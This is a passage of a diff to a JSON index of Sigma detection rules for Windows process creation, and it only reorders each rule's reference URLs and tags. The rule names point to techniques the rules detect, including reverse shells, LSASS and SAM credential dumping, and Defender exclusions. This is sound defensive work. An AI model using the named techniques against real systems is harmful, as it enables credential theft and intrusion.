"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml", + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/" ], "tags": [ "attack.execution", @@ -44261,9 +44259,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml", + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/" ], "tags": [ "attack.execution", @@ -44288,8 +44286,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml", + "http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier" ], "tags": [ "attack.execution", @@ -44338,8 +44336,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1", - "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powersploit_empire_schtasks.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powersploit_empire_schtasks.yml", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py" ], "tags": [ "attack.execution", @@ -44369,8 +44367,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_priv_escalation_via_named_pipe.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_priv_escalation_via_named_pipe.yml", + "https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html" ], "tags": [ "attack.lateral_movement", @@ -44393,8 +44391,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump.yml", + "Internal Research" ], "tags": [ "attack.defense_evasion", @@ -44418,8 +44416,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1480785527901204481", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump_evasion.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump_evasion.yml", + "https://twitter.com/mrd0x/status/1480785527901204481" ], "tags": [ "attack.defense_evasion", @@ -44467,13 +44465,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rundll32_comsvcs.yml", "https://twitter.com/shantanukhande/status/1229348874298388484", - "https://twitter.com/pythonresponder/status/1385064506049630211?s=21", + "https://twitter.com/Wietze/status/1542107456507203586", + "https://twitter.com/SBousseaden/status/1167417096374050817", "https://twitter.com/Hexacorn/status/1224848930795552769", "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", - "https://twitter.com/SBousseaden/status/1167417096374050817", - "https://twitter.com/Wietze/status/1542107456507203586", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rundll32_comsvcs.yml" + "https://twitter.com/pythonresponder/status/1385064506049630211?s=21" ], "tags": [ "attack.defense_evasion", @@ -44525,8 +44523,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1511415432888131586?s=20&t=DvVrzeZ1OcGiWowbhPV8Lg", "https://twitter.com/mrd0x/status/1511489821247684615", + "https://twitter.com/mrd0x/status/1511415432888131586?s=20&t=DvVrzeZ1OcGiWowbhPV8Lg", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_dumpminitool.yml" ], "tags": [ @@ -44551,8 +44549,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_rdrleakdiag.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_rdrleakdiag.yml", + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/" ], "tags": [ "attack.defense_evasion", @@ -44576,9 +44574,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1511415432888131586", "https://twitter.com/mrd0x/status/1511489821247684615", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_susp_dumpminitool.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_susp_dumpminitool.yml", + "https://twitter.com/mrd0x/status/1511415432888131586" ], "tags": [ "attack.defense_evasion", @@ -44602,11 +44600,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", - "https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/", - "https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf", "https://attack.mitre.org/techniques/T1036/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_wrong_parent.yml" + "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_wrong_parent.yml", + "https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/", + "https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf" ], "tags": [ "attack.defense_evasion", @@ -44704,8 +44702,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psh_amsi_bypass_pattern_nov22.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psh_amsi_bypass_pattern_nov22.yml", + "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/" ], "tags": [ "attack.defense_evasion", @@ -44729,8 +44727,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/matterpreter/DefenderCheck", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml", + "https://github.com/matterpreter/DefenderCheck" ], "tags": [ "attack.defense_evasion", @@ -44753,8 +44751,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/GhostPack/Seatbelt", "https://www.bluetangle.dev/2022/08/fastening-seatbelt-on-threat-hunting.html", + "https://github.com/GhostPack/Seatbelt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_seatbelt.yml" ], "tags": [ @@ -44780,8 +44778,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/blackbyte-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_public_folder_parent.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_public_folder_parent.yml", + "https://redcanary.com/blog/blackbyte-ransomware/" ], "tags": "No established tags" }, @@ -44825,9 +44823,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/skelsec/pypykatz", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pypykatz.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pypykatz.yml", + "https://github.com/skelsec/pypykatz" ], "tags": [ "attack.credential_access", @@ -44850,8 +44848,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_pty_spawn.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_pty_spawn.yml", + "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/" ], "tags": [ "attack.execution", @@ -44945,8 +44943,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/blackbyte-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ransom_blackbyte.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ransom_blackbyte.yml", + "https://redcanary.com/blog/blackbyte-ransomware/" ], "tags": "No established tags" }, @@ -44966,8 +44964,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_raspberry_robin_single_dot_ending_file.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_raspberry_robin_single_dot_ending_file.yml", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" ], "tags": [ "attack.execution" @@ -44989,9 +44987,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdp_hijack_shadowing.yml", "https://twitter.com/kmkz_security/status/1220694202301976576", - "https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdp_hijack_shadowing.yml" + "https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet" ], "tags": [ "attack.lateral_movement", @@ -45015,8 +45013,8 @@ "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_local_admin_share.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redirect_local_admin_share.yml", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html" ], "tags": "No established tags" }, @@ -45188,10 +45186,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regini/", "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini.yml" + "https://lolbas-project.github.io/lolbas/Binaries/Regini/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini.yml", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini" ], "tags": [ "attack.t1112", @@ -45214,10 +45212,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regini/", "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_ads.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_ads.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Regini/", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini" ], "tags": [ "attack.t1112", @@ -45242,9 +45240,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml", "https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/", - "https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml" + "https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys" ], "tags": [ "attack.persistence", @@ -45291,9 +45289,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_exclusion.yml", "https://redcanary.com/threat-detection-report/threats/qbot/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_exclusion.yml" + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/" ], "tags": [ "attack.defense_evasion", @@ -45364,8 +45362,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_services.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_services.yml", + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465" ], "tags": [ "attack.defense_evasion", @@ -45388,8 +45386,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dump_sam.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dump_sam.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets" ], "tags": [ "attack.credential_access", @@ -45438,8 +45436,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_import_from_suspicious_paths.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_import_from_suspicious_paths.yml", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import" ], "tags": [ "attack.t1112", @@ -45583,8 +45581,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1124/T1124.md", + "https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_time_discovery.yml" ], "tags": [ @@ -45608,9 +45606,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remove_windows_defender_definition_files.yml", "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remove_windows_defender_definition_files.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md" ], "tags": [ "attack.defense_evasion", @@ -45635,9 +45633,9 @@ "logsource.product": "windows", "refs": [ "https://attack.mitre.org/techniques/T1036/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml", "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", - "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml" + "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html" ], "tags": [ "attack.defense_evasion", @@ -45660,10 +45658,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml", "https://attack.mitre.org/techniques/T1036/", "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", - "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml" + "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html" ], "tags": [ "attack.defense_evasion", @@ -45686,8 +45684,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mariuszbit/status/1531631015139102720", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_browsercore.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_browsercore.yml", + "https://twitter.com/mariuszbit/status/1531631015139102720" ], "tags": [ "attack.t1528", @@ -45736,8 +45734,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_jusched.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_jusched.yml", + "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf" ], "tags": [ "attack.execution", @@ -45834,8 +45832,8 @@ "logsource.product": "windows", "refs": [ "sha256=01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_paexec.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_paexec.yml", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf" ], "tags": [ "attack.defense_evasion", @@ -45913,8 +45911,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/procdump", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_procdump.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_procdump.yml", + "https://docs.microsoft.com/en-us/sysinternals/downloads/procdump" ], "tags": [ "attack.defense_evasion", @@ -46035,9 +46033,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sdelete.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sdelete.yml", + "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" ], "tags": [ "attack.impact", @@ -46085,8 +46083,8 @@ "logsource.product": "windows", "refs": [ "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_whoami.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_whoami.yml", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/" ], "tags": [ "attack.discovery", @@ -46136,9 +46134,9 @@ "logsource.product": "windows", "refs": [ "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809", - "https://www.bleepingcomputer.com/startups/RpcSs.exe-14544.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcss_anomalies.yml", "https://twitter.com/cyb3rops/status/1514217991034097664", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcss_anomalies.yml" + "https://www.bleepingcomputer.com/startups/RpcSs.exe-14544.html" ], "tags": [ "attack.initial_access", @@ -46210,9 +46208,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml", "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md" ], "tags": [ "attack.privilege_escalation", @@ -46236,8 +46234,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_unc_path.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_unc_path.yml", + "https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code" ], "tags": [ "attack.defense_evasion", @@ -46262,8 +46260,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://bczyz1.github.io/2021/01/30/psexec.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml", + "https://bczyz1.github.io/2021/01/30/psexec.html" ], "tags": [ "attack.lateral_movement", @@ -46310,8 +46308,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-4---execution-from-compressed-file", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_from_zip.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_from_zip.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-4---execution-from-compressed-file" ], "tags": [ "attack.impact", @@ -46358,9 +46356,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_input_stream.yml", "https://twitter.com/Moriarty_Meng/status/984380793383370752", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_input_stream.yml" + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml" ], "tags": [ "attack.defense_evasion", @@ -46384,10 +46382,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://attack.mitre.org/techniques/T1564/006/", - "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_virtualbox.yml" + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_virtualbox.yml", + "https://attack.mitre.org/techniques/T1564/006/" ], "tags": [ "attack.defense_evasion", @@ -46411,8 +46409,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_appdata_local_system.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_appdata_local_system.yml", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/" ], "tags": [ "attack.execution", @@ -46437,8 +46435,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_once_0000.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_once_0000.yml", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte" ], "tags": "No established tags" }, @@ -46484,8 +46482,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader.yml", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/" ], "tags": [ "attack.execution", @@ -46510,9 +46508,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml", + "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern" ], "tags": [ "attack.execution", @@ -46560,9 +46558,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", "https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode", - 